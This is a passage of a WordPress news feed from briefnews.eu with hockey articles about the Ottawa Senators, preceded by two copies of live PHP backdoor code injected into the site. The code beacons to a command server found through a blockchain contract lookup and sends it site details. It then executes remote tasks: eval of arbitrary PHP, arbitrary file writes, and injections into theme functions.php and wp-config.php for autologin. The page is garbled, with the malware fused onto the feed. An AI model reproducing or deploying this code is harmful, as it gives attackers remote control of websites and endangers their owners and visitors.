// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Sens – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 18 Sep 2018 20:51:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Sens – Brief News https://briefnews.eu 32 32 Tavares set to make Leafs pre-season debut as Sens begin post-Karlsson era https://briefnews.eu/tavares-set-to-make-leafs-pre-season-debut-as-sens-begin-post-karlsson-era/ https://briefnews.eu/tavares-set-to-make-leafs-pre-season-debut-as-sens-begin-post-karlsson-era/#respond Tue, 18 Sep 2018 20:51:50 +0000 http://briefnews.eu/tavares-set-to-make-leafs-pre-season-debut-as-sens-begin-post-karlsson-era/

John Tavares still gets nervous before every game — and not just for his first one wearing the blue and white of the Toronto Maple Leafs.

Tavares will make his Leafs pre-season debut Tuesday night when Toronto takes on the Ottawa Senators in Lucan, Ont.

The star centre joined the Leafs in a dramatic free-agent signing on July 1 after nine seasons with the New York Islanders, inking a deal with the team he cheered for as a kid growing up in the suburbs west of Toronto.

"Any time I play there's always jitters," Tavares said inside the intimate 1,300-seat Lucan Community Memorial Centre after the Leafs' morning skate. "That's the feelings you have as a hockey player since you're a kid until now. Those feelings are the same. The first game of the year is always that same type of butterfly excitement.

"Just looking forward to getting out there, competing and playing hard."

Watch Rob Pizzo's take on this season's Canadians teams:

After a busy off-season, CBC Sports' Rob Pizzo catches you up on the changes to Canada's 7 NHL teams. 5:24

On the other side, Ottawa will be suiting up for its first game since last week's trade that saw star defenceman Erik Karlsson shipped to the San Jose Sharks for four young players and two draft picks, ending a prolonged saga between the team and its captain.

"We're moving forward, that's our message," said Ottawa head coach Guy Boucher, whose club has made it clear it's entering a rebuilding phase. "We want to transition off ice, and we want to transition on ice real quick, too.

"That's our focus right now."

The Senators have been dogged by off-ice controversy over the last 12 months, including Karlsson's wife accusing the fiancee of former teammate Mike Hoffman of cyberbullying, the resignation of assistant general manager Randy Lee amid harassment allegations, and the recent awkward team-produced video of owner Eugene Melnyk being interviewed by defenceman Mark Borowiecki.

Melnyk also mused about the possibility of moving the Senators on the eve of his outdoor game in December, but has since backed off.

Ottawa centre Matt Duchene said his teammates are just excited to get back playing.

"We've tuned it out pretty good in the locker room," he said of the distractions. "It's been really solid from the coaches to the players. We're not letting it affect us. We're looking forward to the season."

Watch Ottawa's reaction to the Karlsson trade:

Erik Karlsson is no longer a member of the Ottawa Senators, leaving their fans heartbroken. But in San Jose, the players are ecstatic about their new all-star teammate. 1:37

Game action

The game in Lucan, a town roughly 25 kilometres north of London in southwestern Ontario, will feature a number of NHLers on both sides, including Tavares, Nazem Kadri, Mitch Marner, Ron Hainsey, Zach Hyman, Travis Dermott, Connor Brown, Josh Leivo and Curtis McElhinney for Toronto.

"It's finally great to get into some game action," Tavares said. "For myself, it's been a little while. Nice to get back into that competitiveness, a lot of those things you need to get prepared for the regular season."

Ottawa brought Duchene, Borowiecki, Bobby Ryan, Ryan Dzingel, Thomas Chabot, Mikkel Boedker, Tom Pyatt, Chris Wideman and Mike Condon.

Tavares, Kadri and Marner all played junior for the London Knights of the Ontario Hockey League, as did Ottawa rookie Alex Formenton, making Tuesday a homecoming of sorts.

Kadri is from London, as is Ottawa's Dylan DeMelo, one of the players involved in the Karlsson trade.

"It's exciting to see the community of Lucan get so excited," Kadri said. "They're passionate fans."

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]]> https://briefnews.eu/tavares-set-to-make-leafs-pre-season-debut-as-sens-begin-post-karlsson-era/feed/ 0 Sens GM says Hoffman had to go because dressing room was 'broken' https://briefnews.eu/sens-gm-says-hoffman-had-to-go-because-dressing-room-was-broken/ https://briefnews.eu/sens-gm-says-hoffman-had-to-go-because-dressing-room-was-broken/#respond Fri, 22 Jun 2018 03:24:29 +0000 http://briefnews.eu/sens-gm-says-hoffman-had-to-go-because-dressing-room-was-broken/ Ottawa general manager Pierre Dorion says the Senators had to trade forward Mike Hoffman because the team's dressing room was "broken."

Dorion spoke to reporters a day before the NHL draft with the Senators reeling from several public relations disasters, including the alleged cyberbullying of captain Erik Karlsson's wife by Hoffman's fiancée.

Hoffman, who has broken the 20-goal plateau in each of the last four seasons, was traded to the San Jose Sharks on Tuesday. San Jose then flipped him to Florida, Ottawa's Atlantic Division rival.

News broke last week that Melinda Karlsson filed a peace bond in May alleging Monika Caryk posted hundreds of derogatory and harassing online messages aimed at her and her husband.

Hoffman and Caryk have denied the allegations and have not been charged in relation to the incident.

"No rooms in the NHL are perfect," Dorion said. "I think we've all been around for a long time and we understand that those 23 guys, at times they're like brothers. They get on each other's nerves, but this wasn't an indictment on Mike Hoffman. This was just the direction that we needed to go."

Dorion said management "heard a rumour" about the situation between Karlsson and Hoffman at the end of the season.

"If we acted on every rumour we hear, we couldn't do our job in management as a general manager." Dorion said. "No player ever came to us about these things."

Winger Mikkel Boedker is the key piece coming to Ottawa from the Hoffman deal.

"We feel Mikkel Boedker is a good player, he had a great second half, he was San Jose's fifth-leading scorer in their two rounds in the playoffs," Dorion said. "We know with the culture that we're aiming to get, that he's going to fit in that dressing room."

The rift between the Karlssons and Hoffman and Caryk was just one of several recent eyesores for the Senators, who are at the draft without suspended assistant general manager Randy Lee.

Lee was charged with harassment after an incident at a pre-draft combine in Buffalo. He has pleaded not guilty to the charge.

Pierre Dorion said during a press conference in Dallas that the team had no choice, but to trade Mike Hoffman to correct problems in the dressing room. (CBC)

Negative headlines 

Other negative headlines about the Senators have piled up in the past year — quite a turnaround from the spring of 2017 when Ottawa was one goal away from reaching the Stanley Cup final, losing in double overtime of Game 7 against the Pittsburgh Penguins in the third round of the playoffs.

Just before the Lee and Karlsson-Hoffman story broke, Daniel Alfredsson was quoted as saying he hopes the team is sold to ensure its future in the nation's capital.

Meanwhile, a baby garment featuring the Senators logo was recalled because of a potential choking hazard.

Prior to a showcase outdoor game last December in Ottawa, things also turned ugly for the franchise. Former Ottawa centre Kyle Turris, who was traded to the Nashville Predators in a three-way deal the previous month, told The Canadian Press that Melnyk was the reason he was no longer with the Senators.

Then, on the eve of the outdoor game, Melnyk hinted he might have to move the franchise if lagging ticket sales didn't improve. Later, #MelnykOut was launched on Twitter, eventually spreading to billboards across the city.

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]]> https://briefnews.eu/sens-gm-says-hoffman-had-to-go-because-dressing-room-was-broken/feed/ 0 'He's nuts to stay there': Don Cherry says Sens owner should relocate team https://briefnews.eu/hes-nuts-to-stay-there-don-cherry-says-sens-owner-should-relocate-team/ https://briefnews.eu/hes-nuts-to-stay-there-don-cherry-says-sens-owner-should-relocate-team/#respond Sun, 25 Mar 2018 15:37:34 +0000 http://briefnews.eu/hes-nuts-to-stay-there-don-cherry-says-sens-owner-should-relocate-team/

Some Ottawa Senators fans have voiced their displeasure with the direction of the team by putting up billboards calling for the ouster of Eugene Melnyk.

Don Cherry agrees that the Senators owner should get out of the nation’s capital, but the colourful hockey personality thinks Melnyk should take the team with him.

“He’s nuts to stay there,” Cherry said Saturday on his popular “Coach’s Corner” segment on CBC, going as far as to suggest that the Senators should move to Quebec City.

Speaking in response to the “Melnyk Out” campaign, which created a buzz in the hockey world when three crowdfunded billboards bearing that hashtag went up in Ottawa with a fourth on the way, Cherry criticized Ottawa fans for not filling the Canadian Tire Centre in suburban Kanata and painted Melnyk as a generous owner who has bankrolled the city’s hockey infrastructure.

“He put millions of dollars into the franchise, and what do they do? They give him a hard time,” Cherry said.

“There’s seven Sens rinks around Ottawa he puts it on, the only bad rink is where they’re playing.”

Discontent goes deeper

The Senators, who were a goal away from reaching the Stanley Cup final last season, have had a miserable 2017-18 campaign. The team is mired near the bottom of the Eastern Conference standings and there is rampant speculation that popular team captain Erik Karlsson will be traded before he becomes an unrestricted free agent at the end of next season.

That prompted fan Spencer Callaghan to spearhead the GoFundMe billboard campaign that raised $ 10,000 in less than a month.

Cherry instead put the blame on the fans, calling them out for not packing the arena even when they were on their impressive run last season.

“He’d sell out Quebec in a heartbeat,” Cherry said.

But Callaghan said the roots of fan discontentment go deeper than simply a lost season.

“The really clear message I want to get through is this is not about this season, this is not about a bad season,” Callaghan said when the billboards went up Monday. “This is about Daniel Alfredsson leaving, twice, this is about why Kyle Turris left, this is about why Mr. Leeder left, why Mr. Anselmi left. This is about a series of decisions over a long period of time.”

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]]> https://briefnews.eu/hes-nuts-to-stay-there-don-cherry-says-sens-owner-should-relocate-team/feed/ 0 Sens celebrate NHL 100 classic by blanking Habs in Ottawa https://briefnews.eu/sens-celebrate-nhl-100-classic-by-blanking-habs-in-ottawa/ https://briefnews.eu/sens-celebrate-nhl-100-classic-by-blanking-habs-in-ottawa/#respond Sun, 17 Dec 2017 05:09:53 +0000 http://briefnews.eu/sens-celebrate-nhl-100-classic-by-blanking-habs-in-ottawa/

The Ottawa Senators needed a big effort from their top players on Saturday and they received it.

The Senators capped off a weekend of festivities with an impressive 3-0 win over the Montreal Canadiens Saturday night at the NHL 100 Classic outdoor game in front of 33,959 fans at TD Place.

Ottawa controlled the game from start to finish and had outstanding performances from goaltender Craig Anderson, who made 28 saves for his 40th career shutout, and captain Erik Karlsson, who played a season-high 32:55 and had one assist.

“We knew we needed to have a good game,” said Karlsson. “We didn’t know what to expect, what type of game it was going to be, but I think we came out strong and we finished strong. I don’t think we strayed from the kind of game that needed to be played in an atmosphere like this.”

Jean-Gabriel Pageau, Bobby Ryan and Nate Thompson, into an empty net, scored for the Senators (11-13-7), who won back-to-back games for the first time in over a month.

Habs can’t capitalize on struggling Sens

Carey Price was kept busy as he stopped 35 shots for the Canadiens (14-15-4), but didn’t get any offensive support to help his cause.

The Canadiens failed to take advantage of an Ottawa team that had been struggling of late and know this was a missed opportunity.

“We know where we are in the standings, we know it’s a division game and it doesn’t matter the hype, doesn’t matter the outside noise,” said Montreal captain Max Pacioretty. “We didn’t play a strong game and that never feels good.”

The temperature at puck drop was -10.8 C., and dropped throughout the game to -25 C. with wind chill, but it was an experience that won’t soon be forgotten.

“I think that’s the coldest I’ve ever been,” said Ryan. “The fans came out and made it a heck of a night by being loud and being engaged and when the home team gets two points and the city can rally around it for a great event makes it all the better.

“It was worth every second of it. We had a blast.”

Costly giveaway

